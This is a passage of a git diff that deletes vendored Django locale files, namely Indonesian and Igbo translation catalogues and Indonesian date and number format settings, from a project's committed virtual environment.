-"%(datetime)s tidak dapat diterjemahkan dalam zona waktu " -"%(current_timezone)s; mungkin nilainya ambigu atau tidak ada." - -msgid "Clear" -msgstr "Hapus" - -msgid "Currently" -msgstr "Saat ini" - -msgid "Change" -msgstr "Ubah" - -msgid "Unknown" -msgstr "Tidak diketahui" - -msgid "Yes" -msgstr "Ya" - -msgid "No" -msgstr "Tidak" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ya,tidak,mungkin" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bita" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m" - -msgid "a.m." -msgstr "a.m" - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "tengah malam" - -msgid "noon" -msgstr "siang" - -msgid "Monday" -msgstr "Senin" - -msgid "Tuesday" -msgstr "Selasa" - -msgid "Wednesday" -msgstr "Rabu" - -msgid "Thursday" -msgstr "Kamis" - -msgid "Friday" -msgstr "Jumat" - -msgid "Saturday" -msgstr "Sabtu" - -msgid "Sunday" -msgstr "Minggu" - -msgid "Mon" -msgstr "Sen" - -msgid "Tue" -msgstr "Sel" - -msgid "Wed" -msgstr "Rab" - -msgid "Thu" -msgstr "Kam" - -msgid "Fri" -msgstr "Jum" - -msgid "Sat" -msgstr "Sab" - -msgid "Sun" -msgstr "Min" - -msgid "January" -msgstr "Januari" - -msgid "February" -msgstr "Februari" - -msgid "March" -msgstr "Maret" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mei" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "Agustus" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Desember" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mei" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "agu" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "des" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Maret" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mei" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Juli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Agu" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Des." - -msgctxt "alt. month" -msgid "January" -msgstr "Januari" - -msgctxt "alt. month" -msgid "February" -msgstr "Februari" - -msgctxt "alt. month" -msgid "March" -msgstr "Maret" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Mei" - -msgctxt "alt. month" -msgid "June" -msgstr "Juni" - -msgctxt "alt. month" -msgid "July" -msgstr "Juli" - -msgctxt "alt. month" -msgid "August" -msgstr "Agustus" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "Desember" - -msgid "This is not a valid IPv6 address." -msgstr "Ini bukan alamat IPv6 yang valid." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "atau" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d tahun" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d bulan" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d minggu" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d hari" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d jam" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d menit" - -msgid "Forbidden" -msgstr "Terlarang" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verifikasi CSRF gagal, Permintaan dibatalkan." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Anda melihat pesan ini karena jaringan HTTPS ini membutuhkan “Referer " -"header” untuk dikirim oleh peramban jaringan anda, tetapi tidak ada yg " -"dikirim. Kepala ini diwajibkan untuk alasan keamanan, untuk memastikan bahwa " -"peramban anda tidak sedang dibajak oleh pihak ketiga." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Jika Anda menonaktifkan header 'Referrer' pada konfigurasi peramban Anda, " -"mohon aktfikan kembali, setidaknya untuk situs ini, untuk koneksi HTTPS, " -"atau untuk request 'same-origin'." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Jika Anda menggunakan tag " -"atau menyertakan bagian kepala 'Referrer-Policy: no-referrer', harap hapus " -"hal tersebut. Perlindungan CSRF membutuhkan bagian kepala 'Referrer' untuk " -"melakukan pemeriksaan pengarahan ketat. Jika Anda khawatir mengenai privasi, " -"gunakan cara lain seperti untuk tautan ke situs " -"pihak ketiga." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Anda melihat pesan ini karena situs ini membutuhkan sebuah kuki CSRF ketika " -"mengirimkan formulir. Kuki ini dibutuhkan untuk alasan keamanan, untuk " -"memastikan bahwa peramban Anda tidak sedang dibajak oleh pihak ketiga." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Jika Anda telah mengatur peramban Anda untuk menonaktifkan kuki, maka " -"aktifkanlah kembali, setidaknya untuk website ini, atau untuk request 'same-" -"origin'." - -msgid "More information is available with DEBUG=True." -msgstr "Informasi lebih lanjut tersedia dengan DEBUG=True" - -msgid "No year specified" -msgstr "Tidak ada tahun dipilih" - -msgid "Date out of range" -msgstr "Tanggal di luar kisaran" - -msgid "No month specified" -msgstr "Tidak ada bulan dipilih" - -msgid "No day specified" -msgstr "Tidak ada hari dipilih" - -msgid "No week specified" -msgstr "Tidak ada minggu dipilih" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Tidak ada %(verbose_name_plural)s tersedia" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s di masa depan tidak tersedia karena %(class_name)s." -"allow_future bernilai False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Nilai tanggal tidak valid “%(datestr)s” untuk format “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Tidak ada %(verbose_name)s yang cocok dengan kueri" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Laman bukan yang “terakhir” dan juga tidak dapat dikonversikan ke sebuah " -"integer." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Laman tidak valid (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Daftar kosong dan '%(class_name)s.allow_empty' bernilai False." - -msgid "Directory indexes are not allowed here." -msgstr "Indeks direktori tidak diizinkan di sini." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” tidak ada" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Daftar isi %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Selamat! Instalasi berjalan lancar!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Lihat catatan rilis untuk Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Anda sedang melihat halaman ini karena DEBUG=True berada di berkas pengaturan Anda dan Anda " -"belum mengonfigurasi URL apa pun." - -msgid "Django Documentation" -msgstr "Dokumentasi Django" - -msgid "Topics, references, & how-to’s" -msgstr "Topik, referensi, & cara pemakaian" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: Sebuah Aplikasi Jajak Pendapat" - -msgid "Get started with Django" -msgstr "Memulai dengan Django" - -msgid "Django Community" -msgstr "Komunitas Django" - -msgid "Connect, get help, or contribute" -msgstr "Terhubung, minta bantuan, atau berkontribusi" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/id/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/id/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/id/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/id/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 25ea3ee9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/id/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/id/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/id/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 80bb55dc..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/id/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/id/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/id/formats.py deleted file mode 100644 index 91a25590..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/id/formats.py +++ /dev/null @@ -1,49 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j N Y" -DATETIME_FORMAT = "j N Y, G.i" -TIME_FORMAT = "G.i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d-m-Y" -SHORT_DATETIME_FORMAT = "d-m-Y G.i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d-%m-%Y", # '25-10-2009' - "%d/%m/%Y", # '25/10/2009' - "%d-%m-%y", # '25-10-09' - "%d/%m/%y", # '25/10/09' - "%d %b %Y", # '25 Oct 2006', - "%d %B %Y", # '25 October 2006' - "%m/%d/%y", # '10/25/06' - "%m/%d/%Y", # '10/25/2009' -] - -TIME_INPUT_FORMATS = [ - "%H.%M.%S", # '14.30.59' - "%H.%M", # '14.30' -] - -DATETIME_INPUT_FORMATS = [ - "%d-%m-%Y %H.%M.%S", # '25-10-2009 14.30.59' - "%d-%m-%Y %H.%M.%S.%f", # '25-10-2009 14.30.59.000200' - "%d-%m-%Y %H.%M", # '25-10-2009 14.30' - "%d-%m-%y %H.%M.%S", # '25-10-09' 14.30.59' - "%d-%m-%y %H.%M.%S.%f", # '25-10-09' 14.30.59.000200' - "%d-%m-%y %H.%M", # '25-10-09' 14.30' - "%m/%d/%y %H.%M.%S", # '10/25/06 14.30.59' - "%m/%d/%y %H.%M.%S.%f", # '10/25/06 14.30.59.000200' - "%m/%d/%y %H.%M", # '10/25/06 14.30' - "%m/%d/%Y %H.%M.%S", # '25/10/2009 14.30.59' - "%m/%d/%Y %H.%M.%S.%f", # '25/10/2009 14.30.59.000200' - "%m/%d/%Y %H.%M", # '25/10/2009 14.30' -] - -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ig/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ig/LC_MESSAGES/django.mo deleted file mode 100644 index 8e689c80..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ig/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ig/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ig/LC_MESSAGES/django.po deleted file mode 100644 index 19e47ed6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ig/LC_MESSAGES/django.po +++ /dev/null @@ -1,1271 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Kelechi Precious Nwachukwu , 2020 -# Mariusz Felisiak , 2020 -# Okpala Olisa , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-30 12:26+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Igbo (http://www.transifex.com/django/django/language/ig/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ig\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabici" - -msgid "Algerian Arabic" -msgstr "Arabici ndị Algeria " - -msgid "Asturian" -msgstr "Asturian" - -msgid "Azerbaijani" -msgstr "Azerbaijani" - -msgid "Bulgarian" -msgstr "Bulgaria" - -msgid "Belarusian" -msgstr "Belarusia" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Breton" - -msgid "Bosnian" -msgstr "Bosnian" - -msgid "Catalan" -msgstr "Catalan" - -msgid "Czech" -msgstr "Czech" - -msgid "Welsh" -msgstr "Welsh" - -msgid "Danish" -msgstr "Danishi" - -msgid "German" -msgstr "Germani" - -msgid "Lower Sorbian" -msgstr "Sorbian nke Ala" - -msgid "Greek" -msgstr "Greeki" - -msgid "English" -msgstr "Bekee" - -msgid "Australian English" -msgstr "Bekee ndị Australia" - -msgid "British English" -msgstr "Bekee ndị Britain" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spanishi" - -msgid "Argentinian Spanish" -msgstr "Spanishi ndị Argentina" - -msgid "Colombian Spanish" -msgstr "Spanishi ndị Colombia " - -msgid "Mexican Spanish" -msgstr "Spanishi ndị Mexico " - -msgid "Nicaraguan Spanish" -msgstr "Spanishi ndị Nicaraguan" - -msgid "Venezuelan Spanish" -msgstr "Spanishi ndị Venezuela " - -msgid "Estonian" -msgstr "Estonian" - -msgid "Basque" -msgstr "Basque" - -msgid "Persian" -msgstr "Persian" - -msgid "Finnish" -msgstr "Finnishi" - -msgid "French" -msgstr "Fụrenchị" - -msgid "Frisian" -msgstr "Frisian" - -msgid "Irish" -msgstr "Irishi" - -msgid "Scottish Gaelic" -msgstr "Scottish Gaelici" - -msgid "Galician" -msgstr "Galiciani" - -msgid "Hebrew" -msgstr "Hibru" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croatian" - -msgid "Upper Sorbian" -msgstr "Sorbian nke Elu" - -msgid "Hungarian" -msgstr "Hungarian" - -msgid "Armenian" -msgstr "Armeniani" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesian" - -msgid "Igbo" -msgstr "ìgbò" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Icelandici" - -msgid "Italian" -msgstr "Italian" - -msgid "Japanese" -msgstr "Japanisi " - -msgid "Georgian" -msgstr "Georgian" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Kazakh" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Korean" - -msgid "Kyrgyz" -msgstr "Kyrgyz" - -msgid "Luxembourgish" -msgstr "Luxembourgish" - -msgid "Lithuanian" -msgstr "Lithuanian" - -msgid "Latvian" -msgstr "Latvian" - -msgid "Macedonian" -msgstr "Macedonian" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolian" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Burmese" -msgstr "Burmese" - -msgid "Norwegian Bokmål" -msgstr "Bokmål ndị Norway" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Dutch" - -msgid "Norwegian Nynorsk" -msgstr "Nynorsk ndị Norway " - -msgid "Ossetic" -msgstr "Ossetici" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polishi" - -msgid "Portuguese" -msgstr "Portuguisi" - -msgid "Brazilian Portuguese" -msgstr "Portuguese ndị Brazil" - -msgid "Romanian" -msgstr "Romaniani" - -msgid "Russian" -msgstr "Russiani" - -msgid "Slovak" -msgstr "Slovaki" - -msgid "Slovenian" -msgstr "Sloveniani" - -msgid "Albanian" -msgstr "Albaniani" - -msgid "Serbian" -msgstr "Serbiani" - -msgid "Serbian Latin" -msgstr "Serbian Latini" - -msgid "Swedish" -msgstr "Swedishi" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tajik" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "Turkmen" - -msgid "Turkish" -msgstr "Turkishi" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Ukrainian" -msgstr "Ukrainiani" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbeki" - -msgid "Vietnamese" -msgstr "Vietnamesi" - -msgid "Simplified Chinese" -msgstr "Chinisi Ndị Mfe" - -msgid "Traditional Chinese" -msgstr "Odịnala Chinisi" - -msgid "Messages" -msgstr "Ozi" - -msgid "Site Maps" -msgstr "Maapụ Saịtị" - -msgid "Static Files" -msgstr "Faịlụ Nkwụsiri ike" - -msgid "Syndication" -msgstr "Nyefee Njikwa" - -msgid "That page number is not an integer" -msgstr "Nọmba peeji ahụ abụghị onu ogugu" - -msgid "That page number is less than 1" -msgstr "Nọmba peeji ahụ erughị 1" - -msgid "That page contains no results" -msgstr "Peeji ahụ enweghị nsonaazụ ọ bụla" - -msgid "Enter a valid value." -msgstr "Tinye uru zuru oke." - -msgid "Enter a valid URL." -msgstr "Tinye URL zuru oke." - -msgid "Enter a valid integer." -msgstr "Tinye nọmba zuru oke." - -msgid "Enter a valid email address." -msgstr "Tinye adreesị ozi ịntanetị n'zuru oke." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Tinye “slug” zuru oke nke mejupụtara mkpụrụedemede, ọnụọgụ, underscores ma ọ " -"bụ hyphens." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Tinye “slug” zuru oke nke mejupụtara Unicode mkpụrụedemede, ọnụọgụ, " -"underscores ma ọ bụ hyphens." - -msgid "Enter a valid IPv4 address." -msgstr "Tinye adreesị IPv4 zuru oke." - -msgid "Enter a valid IPv6 address." -msgstr "Tinye adreesị IPv6 zuru oke." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Tinye adreesị IPv4 ma obu IPv6 zuru oke." - -msgid "Enter only digits separated by commas." -msgstr "Tinye naanị ọnụọgụ kewapụrụ site na comma." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Gbaa mbọ hụ na %(limit_value)s (ọ bụ %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Gbaa mbọ hụ na orughị ma ọ bụ hara nhata %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Gbaa mbọ hụ na okarịa ma ọ bụ hara nhata%(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Gbaa mbọ hụ na a nwere opekata mpe %(limit_value)d odide (o nwere " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Gbaa mbọ hụ na a nwere kacha %(limit_value)d odide (o nwere%(show_value)d)." - -msgid "Enter a number." -msgstr "Tinye nọmba." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Gbaa mbọ hụ na ọ dighi karịrị %(max)s nọmba na mkpokọta." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Gbaa mbọ hụ na ọ dighi karịrị %(max)s na ebe ntụpọ." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Gbaa mbọ hụ na ọ dighi karịrị %(max)s nọmba tupu akụkụ ebe ntụpọ." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Ndọtị Faịlị “%(extension)s”anaghị anabata. Ndọtị nke kwere n'nabata bu: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Anabataghị ihe odide n'enweghị isi." - -msgid "and" -msgstr "na" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s ya na nke a %(field_labels)s dị adị." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Nọmba %(value)r abụghị ezigbo nhọrọ." - -msgid "This field cannot be null." -msgstr "Ebe a enweghị ike ịbụ ihe efu." - -msgid "This field cannot be blank." -msgstr "Ebe a enweghị ike ịbụ ohere efu." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s ya na nke a %(field_label)s dị adi." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s ga-abụ ihe pụrụ iche maka %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Ebe a nke ụdị: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” uru a ga-abụrịrị Eziokwu ma ọ bụ Ugha." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s”uru a ga-abụrịrị Eziokwu, Ugha, ma ọ bụ Onweghị." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Eziokwu ma o bụ Ugha)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (ruo %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Rikom-kewapụrụ nomba" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” uru a nwere usoro nke n'adịghị adị. Ọ ga-abụrịrị n'ụdị YYYY-MM-" -"DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s”uru a nwere usoro ziri ezi (YYYY-MM-DD) mana ọ bụ ụbọchị n'abaghị " -"uru." - -msgid "Date (without time)" -msgstr "Ubọchị (na-enweghị oge)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” uru a nwere usoro nke n'adịghị adị. Ọ ga-abụrịrị n'ụdị YYYY-MM-" -"DD HH:MM[:ss[.uuuuuu]][TZ] usoro. " - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s”uru a nwere usoro ziri ezi (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ])mana ọ bụ ụbọchị n'abaghị uru." - -msgid "Date (with time)" -msgstr "Ubọchị (na oge)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” uru a ga-abụrịrị nọmba ntụpọ." - -msgid "Decimal number" -msgstr "Nọmba ntụpọ." - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s”uru a nwere usoro nke n'adịghị adị. Ọ ga-abụrịrị n'ụdị [DD] " -"[[HH:]MM:]ss[.uuuuuu]usoro." - -msgid "Duration" -msgstr "Oge ole" - -msgid "Email address" -msgstr "Adreesị ozi ịntanetị" - -msgid "File path" -msgstr "Uzọ Faịlụ di" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s”uru a ga-abụrịrị float." - -msgid "Floating point number" -msgstr "Nọmba ebe floating no " - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” uru a ga-abụrịrị onu ogugu" - -msgid "Integer" -msgstr "Onu ogugu" - -msgid "Big (8 byte) integer" -msgstr "Onu ogugu (8 byte) nnukwu" - -msgid "IPv4 address" -msgstr "Adreesị IPv4" - -msgid "IP address" -msgstr "Adreesị IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s”uru a ga-abụrịrị na Odighị, Eziokwu ma ọ bụ.Ugha." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (Ihe a ga abụriri eziokwu, ụgha ma ọ bu na onweghi)" - -msgid "Positive big integer" -msgstr "Nnukwu nomba nke oma" - -msgid "Positive integer" -msgstr "Nọmba nke oma" - -msgid "Positive small integer" -msgstr "Obere nọmba nke oma" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (ruo %(max_length)s)" - -msgid "Small integer" -msgstr "Onu ogugu nke obere" - -msgid "Text" -msgstr "Ederede" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” uru a nwere usoro nke n'adịghị adị. Ọ ga-abụrịrị n'ụdị HH:MM[:" -"ss[.uuuuuu]]usoro." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” uru a nwere usoro ziri ezi (HH:MM[:ss[.uuuuuu]]) mana ọ bu oge " -"n'abaghị uru." - -msgid "Time" -msgstr "Oge" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Raw binary data" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s”abụghị UUID n’kwesịrị ekwesị." - -msgid "Universally unique identifier" -msgstr "Universally unique identifier" - -msgid "File" -msgstr "Faịlụ" - -msgid "Image" -msgstr "Foto" - -msgid "A JSON object" -msgstr "Ihe JSON" - -msgid "Value must be valid JSON." -msgstr "Uru a ga-abụrịrị JSON n’kwesịrị ekwesị." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s dịka %(field)s %(value)r adịghị adị." - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (ụdị kpebiri site na mpaghara metụtara)" - -msgid "One-to-one relationship" -msgstr "Mmekọrịta otu-na-otu" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s mmekọrịta" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s mmekọrịta" - -msgid "Many-to-many relationship" -msgstr "Mmekọrịta otutu-na-otutu" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Ebe a kwesiri ekwesi." - -msgid "Enter a whole number." -msgstr "Tinye nọmba onu ogugu." - -msgid "Enter a valid date." -msgstr "Tinye ụbọchị zuru oke." - -msgid "Enter a valid time." -msgstr "Tinye oge zuru oke." - -msgid "Enter a valid date/time." -msgstr "Tinye ụbọchị / oge zuru oke" - -msgid "Enter a valid duration." -msgstr "Tinye oge onuno zuru oke." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Onu ogugu ubochi a 